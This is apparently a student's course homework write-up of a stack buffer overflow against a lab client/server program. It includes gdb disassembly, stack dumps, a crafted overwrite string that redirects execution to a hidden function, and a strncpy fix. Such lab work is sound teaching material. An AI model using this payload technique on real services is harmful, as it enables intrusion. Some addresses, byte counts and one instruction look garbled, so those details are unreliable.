

HW 10 ECE 404
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[illegible]

We will now explain how we arrived at this string using screenshots of the terminal and later fix the vulnerability. First, we need to define a port for the client and server to communicate with. For this example, I used port number 9011. I also used the IP address of the ececomp server, which was 128.46.4.43. I then had two different terminal instances that was running the client with the specified IP address and the server running inside of gdb.

```

0x0000000000400e35 <+19>:      callq 0x400a00 <exit@libc>
End of assembler dump.
(gdb) b clientComm
Breakpoint 1 at 0x400d00: file server.c, line 109.
(gdb) disas clientComm
Dump of assembler code for function clientComm:
0x0000000000400ced <+0>:      push    %rbp
0x0000000000400cee <+1>:      mov     %rsp,%rbp
0x0000000000400cf1 <+4>:      sub     $0x40,%rsp
0x0000000000400cf5 <+8>:      mov     %edi,-0x24(%rbp)
0x0000000000400cf8 <+11>:     mov     %rsi,-0x30(%rbp)
0x0000000000400cfc <+15>:     mov     %rdx,-0x38(%rbp)
0x0000000000400d00 <+19>:     movl    $0x0,-0x4(%rbp)
0x0000000000400d07 <+26>:     mov     -0x38(%rbp),%rcx
0x0000000000400d0b <+30>:     mov     -0x30(%rbp),%rdx
0x0000000000400d0f <+34>:     mov     -0x24(%rbp),%eax
0x0000000000400d12 <+37>:     mov     %rcx,%r8
0x0000000000400d15 <+40>:     mov     %rdx,%rcx
0x0000000000400d18 <+43>:     mov     %x07,%edx
0x0000000000400d1d <+48>:     mov     $0x1,%esi
0x0000000000400d22 <+53>:     mov     %eax,%edi

```

I first put a breakpoint at the beginning of the `clientComm()` function, and subsequently dumped its assembly instructions. The purpose is to find the memory address before the return call of the `clientComm()` function, and we will be using this as part of our buffer overflow attack to access the `secretFunction()`. As shown in the next screenshot, I placed another breakpoint at this leave address and ran the program.

```

Breakpoint 2, clientComm (clntSockfd=8, senderBuffSize_addr=0x7fffffffdd70, optlen_addr=0x7fffffffdd48) at server.c:13
137     }
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/shay/a/npadmana/ECE404/HW10/server 9013
Made the initialization.
Connected from 128.46.4.35

Breakpoint 1, clientComm (clntSockfd=8, senderBuffSize_addr=0x7fffffffdd70, optlen_addr=0x7fffffffdd48) at server.c:109
109     int numBytes = 0;
(gdb) print /x $rsp
$1 = 0x7fffffffddce0
(gdb) print /x *((unsigned *) $rsp)
$2 = 0xffffffff80
(gdb) print /x $rbp
$3 = 0x7fffffffdd20
(gdb) print /x *((unsigned *) $rbp + 2)
$4 = 0x400ce3
(gdb)

```

These print statements were to determine the return address of the clientComm function, which was 0x400ce3. This is important because I will be overwriting this address with the leave address of secretFunction(), as shown in the screenshot below. Paired with this, I will need to determine the number of As to expose the vulnerability, which in this case is 40. By printing x/ 40b \$rsp, I was able to see the occurrences of A since 0x41 is A's ASCII code. We only look at the first row, so 0x41 shows up 8 times. There are 5 rows in total, so we need $8 * 5 = 40$ As.

```

0x0000000000400de5 <+248>: lea    -0x20(%rbp),%rsi
0x0000000000400de9 <+252>: mov    -0x24(%rbp),%eax
0x0000000000400dec <+255>: mov    $0x0,%ecx
0x0000000000400df1 <+260>: mov    %eax,%edi
0x0000000000400df3 <+262>: callq 0x400930 <send@plt>
0x0000000000400df8 <+267>: cmp    $0xfffffffffffffff,%rax
0x0000000000400dfc <+271>: jne    0x400e1c <clientComm+303>
0x0000000000400dfe <+273>: mov    $0x400f97,%edi
0x0000000000400e03 <+278>: callq 0x4009c0 < perror@plt>
---Type <return> to continue, or q <return> to quit---
0x0000000000400e08 <+283>: mov    -0x24(%rbp),%eax
0x0000000000400e0b <+286>: mov    %eax,%edi
0x0000000000400e0d <+288>: callq 0x400950 <close@plt>
0x0000000000400e12 <+293>: mov    $0x1,%edi
0x0000000000400e17 <+298>: callq 0x400a00 <exit@plt>
0x0000000000400e1c <+303>: mov    -0x10(%rbp),%rax
0x0000000000400e20 <+307>: leaveq
0x0000000000400e21 <+308>: retq
End of assembler dump.
(gdb)
0x7fffffffda58: 0x00000000 0x00000000 0xffffffff 0x00000000
(gdb) x /40b $rsp
0x7fffffffda58: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffda60: 0x41 0x41 0x41 0x22 0x0e 0x40 0x00 0x00
0x7fffffffda68: 0x59 0xdf 0xff 0xff 0x02 0x00 0x00 0x00
0x7fffffffda70: 0x00 0x10 0xfc 0xf7 0xff 0x7f 0x00 0x00
0x7fffffffda78: 0x04 0x00 0x00 0x00 0x10 0x00 0x00 0x00
(gdb)

```

With our newly crafted string, here is a screenshot of the buffer overflow attack from the server and client sides.

```
bash-4.2$ ls
client client.c server server.c
bash-4.2$ gdb server
GNU gdb (GDB) Red Hat Enterprise Linux 7.6.1-120.el7
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-redhat-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /home/shay/a/npadmana/ECE404/HW10/server...done.
(gdb) run 9011
Starting program: /home/shay/a/npadmana/ECE404/HW10/server 9011
Made the initialization.
Connected from 128.46.4.33
RECEIVED: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"RECEIVED BYTES: 43

You weren't supposed to get here!
[Inferior 1 (process 60888) exited with code 01]
(gdb) 
```

```
bash-4.2$ gcc client.c -o client
bash-4.2$ ./client 128.46.4.35
Say something: A
You Said: A

Say something: AA
You Said: AA

Say something: AAA
You Said: AAA

Say something: SSSS
You Said: SSSS

Say something: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x22\x0e\x40\x00
You Said: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"@"
Say something: 
```

To fix this vulnerability, we can switch the strcpy() to a strncpy() call. When using strncpy(), it will only copy the string as long as the size is less than or equal to the MAX_DATA_SIZE parameter.

```
// strcpy(str, recvBuff);
// Modified the strcpy call to strncpy in order to prevent the buffer overflow vulnerability
strncpy(str,recvBuff, MAX_DATA_SIZE);
```